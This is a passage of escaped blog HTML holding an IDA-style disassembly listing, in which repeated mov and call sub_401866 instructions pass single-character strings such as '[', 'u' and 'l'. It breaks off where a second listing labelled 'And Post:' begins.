-moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2C8&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403818&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040381D&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;asc_40E2D4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "["&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403824&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403829&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2DC&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403830&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403835&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aU_0&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "u"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040383C&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403841&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;asc_40E314&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "l"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403848&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040384D&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;asc_40E344&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "l"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403854&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403859&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E36C&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403860&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403865&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E398&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040386C&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403871&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E3B8&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403878&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:black;" &gt;.text:0040387D&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:navy;" &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:green;" &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:navy;" &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:green;" &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:navy;" &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:navy;" &gt;unk_40E3E0&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;color:blue;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;And Post:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 0.5pt solid windowtext; padding: 1pt 4pt;"&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  